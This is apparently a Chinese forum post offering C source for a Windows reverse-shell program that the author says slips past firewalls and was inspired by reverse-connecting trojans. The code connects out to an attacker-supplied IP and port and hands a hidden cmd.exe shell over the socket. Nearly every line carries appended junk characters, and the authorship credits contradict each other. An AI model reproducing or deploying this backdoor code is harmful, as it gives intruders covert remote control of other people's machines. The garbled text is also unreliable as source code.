这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lbT<HWzNH
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/* ============================== 4VaUa8 D
Rebound port in Windows NT x;Dr40wD@y
By wind,2006/7 u/y`M]17
===============================*/ <s+=v!
#include w69`vK
#include dm.?-u;C
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#pragma comment(lib,"wsock32.lib") W3*WR,z
{
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void OutputShell(); j^iH[pN] \
SOCKET sClient; |m k $W$h
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j=dHgnVvj
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void main(int argc,char **argv) !j %)nU
{ @/anJrt
WSADATA stWsaData; n?Gm 5##
int nRet; x gaN0!
SOCKADDR_IN stSaiClient,stSaiServer; !pw%l4]/t
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if(argc != 3) yW|yZ(7
{ z
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printf("Useage:\n\rRebound DestIP DestPort\n"); \~jt7 Q
return; v]U[7 j
} >0@X^o
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WSAStartup(MAKEWORD(2,2),&stWsaData); t
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "Oh-`C
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stSaiClient.sin_family = AF_INET; wOHK
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stSaiClient.sin_port = htons(0); wc~a}0uz
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Gu*;z% b2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7F\U|kx_
{ s;8J= \9W
printf("Bind Socket Failed!\n"); i0p"q p
return; 8-juzL}
} |%&WYm6
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stSaiServer.sin_family = AF_INET; wvT!NN
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;?z b ( 2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >?U(w<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0~Yg={IKhK
{ biKpV?Dp
printf("Connect Error!"); ?PyI#G
return; /o8`I
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} GsqrKrbJ
OutputShell(); ttZ!P:H2
} Ik;~u8j1e
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void OutputShell() z6'zNM7M
{ @YpA'cX7
char szBuff[1024]; "St, 4b
SECURITY_ATTRIBUTES stSecurityAttributes; _QY0j%W
OSVERSIONINFO stOsversionInfo; ZwO&G\A^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n8zUL1:R
STARTUPINFO stStartupInfo; Xb$)}n\9
char *szShell; ~+3f8%
PROCESS_INFORMATION stProcessInformation; ':o.vQdJ
unsigned long lBytesRead; #0G9{./C
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tEiN(KA!5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t4h05 i
stSecurityAttributes.lpSecurityDescriptor = 0; JO+ hD4L
stSecurityAttributes.bInheritHandle = TRUE; b LL!iz?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ']Y:f)i#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z?"Pkc.Ei
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); UvQxtT]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7OC,KgJ3
stStartupInfo.wShowWindow = SW_HIDE; ; M"hX
stStartupInfo.hStdInput = hReadPipe; ;EFs2-{K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TrkoLJmB
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GetVersionEx(&stOsversionInfo); wAk oX
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switch(stOsversionInfo.dwPlatformId) /wCP(1Mw
{ 2{+\\.4Evk
case 1: J&8l1{gd
szShell = "command.com"; zq{L:.#ha
break; ,"j|0Q
default: .O1g'%
szShell = "cmd.exe"; CCl*v
break; t&0n"4$d'
} ua4QtDSs
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $G*$j!
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send(sClient,szMsg,77,0); ^>9M2O['!s
while(1) n]9y Cr
{ {T:2+iS9:
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]lZ!en
if(lBytesRead) 7|,5;
{ InPq1AH
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UnW,|n8
send(sClient,szBuff,lBytesRead,0); R['qBHQ?
} _4%+TN6z
else V\ARe=IWM
{ 8
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lBytesRead=recv(sClient,szBuff,1024,0); Fo;xA
if(lBytesRead<=0) break; j24BB}mBB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} 5Z`f)qE
} sFCoRH|"c
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return; !u\ X,.h
}